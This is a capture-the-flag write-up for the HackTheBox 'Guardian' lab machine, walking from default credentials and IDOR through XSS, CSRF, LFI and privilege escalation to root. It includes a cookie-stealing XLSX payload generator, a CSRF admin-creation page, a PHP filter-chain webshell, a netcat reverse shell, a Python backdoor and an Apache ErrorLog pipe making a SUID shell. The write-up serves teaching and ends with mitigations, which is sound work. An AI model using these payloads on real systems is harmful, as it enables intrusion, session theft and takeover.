Guardian
Writeup for HackTheBox Guardian machine
Executive Summary
Guardian is a medium-difficulty Linux machine on HackTheBox. The attack chain is as follows:
- Student Portal → Gitea → IDOR — Discover default credentials from a student portal PDF guide. Exploit IDOR on the chat feature to leak Gitea credentials.
- Source Code Review → XSS → CSRF → LFI → RCE — Clone portal source from Gitea. Identify PhpSpreadsheet XSS (CVE-2024-57321) to hijack a lecturer session. Use CSRF to create an admin account, then exploit LFI via PHP filter chains for RCE as
www-data. - DB Hash Extraction → SSH → Python Hijack → Apache2ctl → Root — Extract salted SHA-256 hashes from MySQL, crack with John to get
jamil’s SSH password. Abuse writablestatus.pymodule (via sudo) to pivot tomark. Exploitsafeapache2ctl’sErrorLogpipe directive for root command execution.
Reconnaissance
Nmap Scan
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
┌──(kali㉿kali)-[~/htb-machine/Guardian]
└─$ nmap -sC -sV $IP
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-11 16:52 UTC
Nmap scan report for 10.10.11.84
Host is up (0.21s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 9c:69:53:e1:38:3b:de:cd:42:0a:c8:6b:f8:95:b3:62 (ECDSA)
|_ 256 3c:aa:b9:be:17:2d:5e:99:cc:ff:e1:91:90:38:b7:39 (ED25519)
80/tcp open http Apache httpd 2.4.52
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Did not follow redirect to http://guardian.htb/
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.92 seconds
The target has a web server on port 80 and SSH on port 22.
Add the following to /etc/hosts to resolve the hostname:
1
echo "10.10.11.84 guardian.htb" | sudo tee -a /etc/hosts
We are presented with the Guardian University web page — a single-page application (SPA) served over HTTP.
After scrolling down, we can see a few student email IDs listed publicly:
1
2
3
Boone Basden — GU0142023@guardian.htb
Jamesy Currin — GU6262023@guardian.htb
Stephenie Vernau — GU0702025@guardian.htb
Enumeration
Subdomain Discovery
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/htb-machine/Guardian]
└─$ ffuf -w ../subdomains-top1million-5000.txt -u http://guardian.htb/ -H "Host: FUZZ.guardian.htb" -fw 20
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.1.0-dev
________________________________________________
:: Method : GET
:: URL : http://guardian.htb/
:: Wordlist : FUZZ: /home/kali/htb-machine/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.guardian.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200-299,301,302,307,401,403,405,500
:: Filter : Response words: 20
________________________________________________
portal [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 207ms]
:: Progress: [4997/4997] :: Job [1/1] :: 197 req/sec :: Duration: [0:00:33] :: Errors: 0 ::
Add the discovered subdomain to /etc/hosts:
1
echo "10.10.11.84 portal.guardian.htb" | sudo tee -a /etc/hosts
1
http://portal.guardian.htb/login.php
Portal — Information Disclosure
After clicking Help on portal.guardian.htb, a PDF user guide is accessible:
1
http://portal.guardian.htb/static/downloads/Guardian_University_Student_Portal_Guide.pdf
The guide discloses the default password for all Guardian accounts: GU1234
Combining the student email IDs found on the homepage with the default password:
| Username | Password |
|---|---|
GU0142023@guardian.htb | GU1234 |
GU6262023@guardian.htb | GU1234 |
GU0702025@guardian.htb | GU1234 |
Login with GU0142023@guardian.htb : GU1234 is successful.
Home Page (Dashboard)
1
http://portal.guardian.htb/student/home.php
The portal exposes sections: Dashboard, My Courses, Chats, etc.
1
http://portal.guardian.htb/student/chats.php
IDOR — Insecure Direct Object Reference
Tampering with the chat_users[] parameters allows access to other users’ chats and exposes credentials.
After login, the chat URL is:
1
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=14
Fuzz both chat_users[] parameters (cluster-bomb style) with numeric payloads to enumerate all chat IDs.
With payload1=2 and payload2=1, the chat response contains Gitea credentials:
Credentials found:
| Field | Value |
|---|---|
| Username | jamil.enockson |
| Password | DHsNnk3V503 |
Gitea — Access
The target hosts a Gitea instance at:
1
http://gitea.guardian.htb/
Add it to /etc/hosts:
1
echo "10.10.11.84 gitea.guardian.htb" | sudo tee -a /etc/hosts
Sign in with the discovered credentials:
- Username:
jamil.enockson@guardian.htb - Password:
DHsNnk3V503
Clone both repositories locally and inspect them:
1
2
git clone http://gitea.guardian.htb/Guardian/guardian.htb.git
git clone http://gitea.guardian.htb/Guardian/portal.guardian.htb.git
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/HTB]
└─$ git clone http://gitea.guardian.htb/Guardian/guardian.htb.git
Cloning into 'guardian.htb'...
Username for 'http://gitea.guardian.htb': jamil.enockson@guardian.htb
Password for 'http://jamil.enockson@guardian.htb@gitea.guardian.htb':
remote: Enumerating objects: 12, done.
remote: Counting objects: 100% (12/12), done.
remote: Compressing objects: 100% (10/10), done.
remote: Total 12 (delta 0), reused 0 (delta 0), pack-reused 0
Receiving objects: 100% (12/12), 2.96 MiB | 342.00 KiB/s, done.
┌──(kali㉿kali)-[~/HTB]
└─$ git clone http://gitea.guardian.htb/Guardian/portal.guardian.htb.git
Cloning into 'portal.guardian.htb'...
Username for 'http://gitea.guardian.htb': jamil.enockson@guardian.htb
Password for 'http://jamil.enockson@guardian.htb@gitea.guardian.htb':
remote: Enumerating objects: 3555, done.
remote: Counting objects: 100% (3555/3555), done.
remote: Compressing objects: 100% (2758/2758), done.
remote: Total 3555 (delta 757), reused 3555 (delta 757), pack-reused 0
Receiving objects: 100% (3555/3555), 6.75 MiB | 529.00 KiB/s, done.
Resolving deltas: 100% (757/757), done.
Database Credentials in Config
1
/portal.guardian.htb/config/config.php
1
2
3
4
5
6
7
8
9
10
<?php
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
];
This reveals the MySQL DSN (guardiandb), credentials (root / Gu4rd14n_un1_1s_th3_b3st), and the password salt (8Sb)tM1vs1SS) used when hashing passwords — both are critical for later exploitation.
XSS — PhpSpreadsheet CVE-2024-57321
Location: portal repository — composer.json
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/portal.guardian.htb]
└─$ cat composer.json
{
"require": {
"phpoffice/phpspreadsheet": "3.7.0",
"phpoffice/phpword": "^1.3"
}
}
phpoffice/phpspreadsheet version 3.7.0 is affected by a Cross-Site Scripting (XSS) vulnerability (GHSA-79xx-vf93-p7cx) in the generateNavigation() function. When an XLSX file is converted to HTML, the sheet names are rendered without sanitization — allowing injected HTML/JavaScript in sheet names to execute in the browser.
Assignment Upload — Exploiting the XSS
The student portal’s Assignment page accepts XLSX uploads.
The following Python script creates a malicious XLSX where the second sheet’s name contains an XSS payload that exfiltrates the viewer’s session cookie:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import os
import shutil
import zipfile
from openpyxl import Workbook
from xml.etree import ElementTree as ET
# Payload for testing Excel XSS
PAYLOAD = """<img src=x onerror=this.src='http://YOUR_IP:PORT/?c='+document.cookie>"""
def create_clean_excel(filename="clean.xlsx"):
wb = Workbook()
ws1 = wb.active
ws1.title = "Sheet1"
ws1["A1"] = "This is a test"
ws2 = wb.create_sheet("Sheet2")
ws2["A1"] = "Malicious sheet name will be injected here"
wb.save(filename)
print(f"[+] Clean Excel created: {filename}")
def modify_excel_for_xss(clean_file="clean.xlsx", evil_file="evil.xlsx"):
tmp_dir = "tmp_excel"
# cleanup
if os.path.exists(tmp_dir):
shutil.rmtree(tmp_dir)
os.makedirs(tmp_dir, exist_ok=True)
# unzip clean.xlsx
with zipfile.ZipFile(clean_file, "r") as zip_ref:
zip_ref.extractall(tmp_dir)
# Path to workbook.xml
workbook_xml = os.path.join(tmp_dir, "xl", "workbook.xml")
# Parse XML
tree = ET.parse(workbook_xml)
root = tree.getroot()
# Excel XML namespace
ns = {"main": "http://schemas.openxmlformats.org/spreadsheetml/2006/main"}
# Find all sheets
sheets = root.findall("main:sheets/main:sheet", ns)
# Modify sheet2 name to payload
if len(sheets) >= 2:
print("[+] Found 2nd sheet, modifying name...")
sheets[1].set("name", PAYLOAD)
else:
print("[-] Could not find 2nd sheet!")
# Write changes back
tree.write(workbook_xml, encoding="utf-8", xml_declaration=True)
# Zip back to evil.xlsx
with zipfile.ZipFile(evil_file, "w", zipfile.ZIP_DEFLATED) as zip_ref:
for foldername, subfolders, filenames in os.walk(tmp_dir):
for filename in filenames:
filepath = os.path.join(foldername, filename)
arcname = os.path.relpath(filepath, tmp_dir)
zip_ref.write(filepath, arcname)
print(f"[+] Evil Excel created: {evil_file}")
if __name__ == "__main__":
create_clean_excel()
modify_excel_for_xss()
Generate the malicious assignment file:
1
2
3
4
5
┌──(kali㉿kali)-[~/HTB/portal.guardian.htb]
└─$ python3 phpspreadphp.py
[+] Clean Excel created: clean.xlsx
[+] Found 2nd sheet, modifying name...
[+] Evil Excel created: Assignment2.xlsx
Start a local HTTP listener to capture the exfiltrated cookie, then upload the malicious XLSX:
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/portal.guardian.htb]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.84 - - [12/Sep/2025 14:47:07] "GET /?c=PHPSESSID=k884mut5gg7sai21iacbgrbnh4 HTTP/1.1" 200 -
10.10.11.84 - - [12/Sep/2025 14:47:08] "GET /?c=PHPSESSID=k884mut5gg7sai21iacbgrbnh4 HTTP/1.1" 200 -
10.10.11.84 - - [12/Sep/2025 14:47:08] "GET /?c=PHPSESSID=k884mut5gg7sai21iacbgrbnh4 HTTP/1.1" 200 -
^C
Keyboard interrupt received, exiting.
Replace our session cookie with the captured PHPSESSID value and refresh — we are now authenticated as a lecturer.
CSRF — Cross-Site Request Forgery
Reading the portal code reveals a CSRF vector in the lecturer notice functionality.
- Notices index:
http://portal.guardian.htb/lecturer/notices/index.php
- Create notice page:
http://portal.guardian.htb/lecturer/notices/create.php
The create page includes a CSRF token in the form — but the admin user-creation endpoint (/admin/createuser.php) does not enforce origin checks, making it vulnerable to CSRF.
CSRF Proof-of-Concept (poc.html)
Save and host the following poc.html. When a lecturer (or any authenticated user with a valid CSRF token) visits this page, it auto-submits a form that creates a new admin account:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!DOCTYPE html>
<html>
<body>
<form action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="csrf_token" value="010681fa91ae28c4b94395b0ac854a1a">
<input type="hidden" name="username" value="newadmin">
<input type="hidden" name="password" value="Password123">
<input type="hidden" name="full_name" value="newadmin">
<input type="hidden" name="email" value="hello@guardian.htb">
<input type="hidden" name="dob" value="2002-06-02">
<input type="hidden" name="address" value="123 Example Street">
<input type="hidden" name="user_role" value="admin">
<input type="submit" value="Submit request">
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
Host the file locally and trigger it (e.g., via XSS or by visiting the URL as the lecturer):
1
python3 -m http.server 8000
1
2
3
4
┌──(kali㉿kali)-[~/HTB/guardian]
└─$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.84 - - [13/Sep/2025 03:36:10] "GET /poc.html HTTP/1.1" 200 -
A new admin account is created. Log in with:
| Field | Value |
|---|---|
| Username | newadmin |
| Password | Password123 |
Admin Dashboard:
LFI — Local File Inclusion
After reviewing the admin portal source code, a Local File Inclusion (LFI) vulnerability is identified in the report parameter.
On the report page, clicking Enrollment loads:
1
http://portal.guardian.htb/admin/reports.php?report=reports/enrollment.php
Changing the parameter to a path traversal attempt:
1
http://portal.guardian.htb/admin/reports.php?report=../../../etc/passwd
Returns “malicious request blocked” — indicating that directory traversal is detected, but the include mechanism itself is still present.
PHP Filter Chain — LFI to RCE
Since direct path traversal is blocked, we use the php_filter_chain_generator (synacktiv/php_filter_chain_generator) to synthesize a PHP payload using only iconv/base64 filter chains — bypassing the traversal block entirely.
Generate the filter chain for a minimal PHP webshell:
1
2
3
4
┌──(kali㉿kali)-[~/HTB/guardian/php_filter_chain_generator]
└─$ python3 php_filter_chain_generator.py --chain '<?=system($_GET[0])?>'
[+] The following gadget chain will generate the following code : <?=system($_GET[0])?> (base64 value: PD89c3lzdGVtKCRfR0VUWzBdKT8+)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp
Replace the tail of the generated chain from |convert.base64-decode/resource=php://temp to point at an existing PHP file as anchor, and append the command via the 0 parameter:
1
|convert.base64-decode/resource=reports/academic.php&0=id
Verify RCE by sending the full filter chain URL in the browser — the output of id appears in the response:
Initial Shell
Start a netcat listener:
1
2
┌──(kali㉿kali)-[~/HTB/guardian/php_filter_chain_generator]
└─$ nc -lvnp 4444
Replace the command parameter with a reverse shell payload:
1
|convert.base64-decode/resource=reports/academic.php&0=busybox nc 10.10.14.124 4444 -e sh
1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HTB/guardian/php_filter_chain_generator]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.124] from (UNKNOWN) [10.10.11.84] 46690
python3 -c 'import pty; pty.spawn("/bin/bash")'
bash-5.1$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Database Credential Extraction
Use the credentials found in config.php to connect to MySQL:
1
2
3
4
5
6
7
8
bash-5.1$ mysql -h localhost -u root -p guardiandb
Enter password: Gu4rd14n_un1_1s_th3_b3st
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 157776
Server version: 8.0.43-0ubuntu0.22.04.1 (Ubuntu)
mysql>
List tables and retrieve usernames with their password hashes:
1
2
SHOW TABLES;
SELECT username, password_hash FROM users;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
mysql> show tables;
+----------------------+
| Tables_in_guardiandb |
+----------------------+
| assignments |
| courses |
| enrollments |
| grades |
| messages |
| notices |
| programs |
| submissions |
| users |
+----------------------+
9 rows in set (0.01 sec)
mysql> select username,password_hash from users;
+--------------------+------------------------------------------------------------------+
| username | password_hash |
+--------------------+------------------------------------------------------------------+
| admin | 694a63de406521120d9b905ee94bae3d863ff9f6637d7b7cb730f7da535fd6d6 |
| jamil.enockson | c1d8dfaeee103d01a5aec443a98d31294f98c5b4f09a0f02ff4f9a43ee440250 |
| mark.pargetter | 8623e713bb98ba2d46f335d659958ee658eb6370bc4c9ee4ba1cc6f37f97a10e |
| valentijn.temby | 1d1bb7b3c6a2a461362d2dcb3c3a55e71ed40fb00dd01d92b2a9cd3c0ff284e6 |
| leyla.rippin | 7f6873594c8da097a78322600bc8e42155b2db6cce6f2dab4fa0384e217d0b61 |
| perkin.fillon | 4a072227fe641b6c72af2ac9b16eea24ed3751211fb6807cf4d794ebd1797471 |
| cyrus.booth | 23d701bd2d5fa63e1a0cfe35c65418613f186b4d84330433be6a42ed43fb51e6 |
| sammy.treat | c7ea20ae5d78ab74650c7fb7628c4b44b1e7226c31859d503b93379ba7a0d1c2 |
| crin.hambidge | 9b6e003386cd1e24c97661ab4ad2c94cc844789b3916f681ea39c1cbf13c8c75 |
| myra.galsworthy | ba227588efcb86dcf426c5d5c1e2aae58d695d53a1a795b234202ae286da2ef4 |
| mireielle.feek | 18448ce8838aab26600b0a995dfebd79cc355254283702426d1056ca6f5d68b3 |
| vivie.smallthwaite | b88ac7727aaa9073aa735ee33ba84a3bdd26249fc0e59e7110d5bcdb4da4031a |
| GU0142023 | 5381d07c15c0f0107471d25a30f5a10c4fd507abe322853c178ff9c66e916829 |
| GU6262023 | 87847475fa77edfcf2c9e0973a91c9b48ba850e46a940828dfeba0754586938f |
| GU0702025 | 48b16b7f456afa78ba00b2b64b4367ded7d4e3daebf08b13ff71a1e0a3103bb1 |
| newadmin | 85dbd0be6633d62c640f0648fc3f25786123543480183cf593be986d25904b0d |
+--------------------+------------------------------------------------------------------+
63 rows in set (0.00 sec)
mysql>
Cracking Password Hashes
Extract the SHA-256 hashes to a file:
1
grep -oE '\b[a-f0-9]{64}\b' user_pass > clean_password
The hashes are SHA-256 with the salt 8Sb)tM1vs1SS appended to each password (from config.php). Build a salted wordlist and crack with John:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌──(kali㉿kali)-[~/HTB/guardian]
└─$ SALT='8Sb)tM1vs1SS'
tmpfile=$(mktemp /tmp/rockyou_salted.XXXXXX)
sed "s/$/$(printf '%s' "$SALT" | sed 's/[&/\]/\\&/g')/" /usr/share/wordlists/rockyou.txt > "$tmpfile"
┌──(kali㉿kali)-[~/HTB/guardian]
└─$ john --format=Raw-SHA256 --wordlist="$tmpfile" clean_password
Using default input encoding: UTF-8
Loaded 63 password hashes with no different salts (Raw-SHA256 [SHA256 128/128 AVX 4x])
Warning: poor OpenMP scalability for this hash type, consider --fork=4
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Password1238Sb)tM1vs1SS (?)
copperhouse568Sb)tM1vs1SS (?)
fakebake0008Sb)tM1vs1SS (?)
3g 0:00:00:01 DONE (2025-09-13 06:53) 1.724g/s 8243Kp/s 8243Kc/s 500461KC/s
Use the "--show --format=Raw-SHA256" options to display all of the cracked passwords reliably
Session completed.
┌──(kali㉿kali)-[~/HTB/guardian]
└─$ john --show --format=Raw-SHA256 clean_password
?:fakebake0008Sb)tM1vs1SS
?:copperhouse568Sb)tM1vs1SS
?:Password1238Sb)tM1vs1SS
3 password hashes cracked, 60 left
# Clean up temp file
┌──(kali㉿kali)-[~/HTB/guardian]
└─$ rm -f "$tmpfile"
Stripping the appended salt gives us the actual plaintext passwords:
| Hash Owner | Cracked Value (with salt) | Actual Password |
|---|---|---|
jamil.enockson | copperhouse568Sb)tM1vs1SS | copperhouse56 |
GU0142023 | Password1238Sb)tM1vs1SS | Password123 |
GU... | fakebake0008Sb)tM1vs1SS | fakebake000 |
Access as jamil
Using the cracked credential for user jamil, authenticate via SSH:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
┌──(kali㉿kali)-[~/HTB]
└─$ ssh jamil@10.10.11.84
jamil@10.10.11.84's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-152-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
Last login: Sun Sep 14 05:52:02 2025 from 10.10.14.28
jamil@guardian:~$ ls
user.txt
jamil@guardian:~$ cat user.txt
c7687acdb3771320c58543e5aab9f127
jamil@guardian:~$
Privilege Escalation
Shell as mark
Check sudo permissions:
1
2
3
4
5
6
jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py
jamil can run /opt/scripts/utilities/utilities.py as mark without a password.
Check group membership and file permissions:
1
2
3
4
5
jamil@guardian:~$ id
uid=1000(jamil) gid=1000(jamil) groups=1000(jamil),1002(admins)
jamil@guardian:~$ ls -l /opt/scripts/utilities/utilities.py
-rwxr-x--- 1 root admins 1136 Apr 20 14:45 /opt/scripts/utilities/utilities.py
Inspect the directory structure and the target script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
jamil@guardian:~$ ls -la /opt/scripts/utilities/
total 20
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 .
drwxr-xr-x 3 root root 4096 Jul 12 15:10 ..
drwxrws--- 2 mark admins 4096 Jul 10 13:53 output
-rwxr-x--- 1 root admins 1136 Apr 20 14:45 utilities.py
drwxrwsr-x 2 root root 4096 Jul 10 14:20 utils
jamil@guardian:~$
jamil@guardian:~$ cat /opt/scripts/utilities/utilities.py
#!/usr/bin/env python3
import argparse
import getpass
import sys
from utils import db
from utils import attachments
from utils import logs
from utils import status
def main():
parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
parser.add_argument("action", choices=[
"backup-db",
"zip-attachments",
"collect-logs",
"system-status"
], help="Action to perform")
args = parser.parse_args()
user = getpass.getuser()
if args.action == "backup-db":
if user != "mark":
print("Access denied.")
sys.exit(1)
db.backup_database()
elif args.action == "zip-attachments":
if user != "mark":
print("Access denied.")
sys.exit(1)
attachments.zip_attachments()
elif args.action == "collect-logs":
if user != "mark":
print("Access denied.")
sys.exit(1)
logs.collect_logs()
elif args.action == "system-status":
status.system_status()
else:
print("Unknown action.")
if __name__ == "__main__":
main()
Check permissions on the utils/ modules:
1
2
3
4
5
6
7
8
jamil@guardian:~$ ls -la /opt/scripts/utilities/utils
total 24
drwxrwsr-x 2 root root 4096 Jul 10 14:20 .
drwxr-sr-x 4 root admins 4096 Jul 10 13:53 ..
-rw-r----- 1 root admins 287 Apr 19 08:15 attachments.py
-rw-r----- 1 root admins 246 Jul 10 14:20 db.py
-rw-r----- 1 root admins 226 Apr 19 08:16 logs.py
-rwxrwx--- 1 mark admins 341 Sep 13 21:40 status.py
status.py is owned by mark and has group-write permissions (rwxrwx---). Since jamil is in admins, we can write to it.
Append a backdoor to status.py:
1
printf '\nimport os\nos.system("/bin/bash")\n' >> /opt/scripts/utilities/utils/status.py
When status.system_status() is imported and executed under mark, the appended os.system("/bin/bash") spawns a shell as mark.
Run the utility as mark via sudo:
1
2
3
4
jamil@guardian:~$ sudo -u mark /opt/scripts/utilities/utilities.py
mark@guardian:/home/jamil$
mark@guardian:/home/jamil$ id
uid=1001(mark) gid=1001(mark) groups=1001(mark),1002(admins)
apache2ctl to root
Check mark’s sudo permissions:
1
2
3
4
5
6
7
mark@guardian:~$ sudo -l
Matching Defaults entries for mark on guardian:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl
mark can run safeapache2ctl as root without a password. This binary accepts a config file via -f. Apache’s ErrorLog directive supports piping log output to a shell command using |. Craft a malicious Apache config:
1
2
3
4
5
6
7
8
9
10
11
12
cat > /home/mark/confs/exploit.conf << 'EOF'
ServerName localhost
# Load a valid MPM so Apache doesn't complain
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
# Send log output to our command instead of a file
ErrorLog "|/bin/sh -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'"
# Prevent binding errors by not creating any listeners
Listen 127.0.0.1:8080
EOF
Run the privileged binary with the crafted config:
1
sudo /usr/local/bin/safeapache2ctl -f /home/mark/confs/exploit.conf
Execute the SUID bash copy with -p (preserve effective UID):
1
/tmp/rootbash -p
1
2
3
4
5
mark@guardian:~/confs$ /tmp/rootbash -p
rootbash-5.1# id
uid=1001(mark) gid=1001(mark) euid=0(root) egid=0(root) groups=0(root),1001(mark),1002(admins)
rootbash-5.1# cat /root/root.txt
*************38bb8c4d18a1b9b02d2
Mitigations & Security Recommendations
- Restrict Default Credentials: Default credentials like
GU1234should never be left active. Force users to change passwords upon first login. - Implement Robust CSRF and IDOR Protections: Enforce unique, cryptographically secure anti-CSRF tokens for all state-changing endpoints (e.g., notice creation and user modification). Implement proper session validation on all chat endpoints to prevent IDOR access.
- Sanitize File Conversion Libraries: Update
phpoffice/phpspreadsheetto a version that patches CVE-2024-57321. Ensure user-uploaded documents are validated and converted in isolated, sandboxed environments. - Remediate Local File Inclusion (LFI): Restrict file inclusions to a strict whitelist of known-safe filenames. Disable dangerous PHP wrapper functionality where possible, and run the web application under a low-privilege service account without terminal execution access.
- Enforce Write Isolation on Library Modules: Restrict write access to system scripts (e.g., Python scripts inside
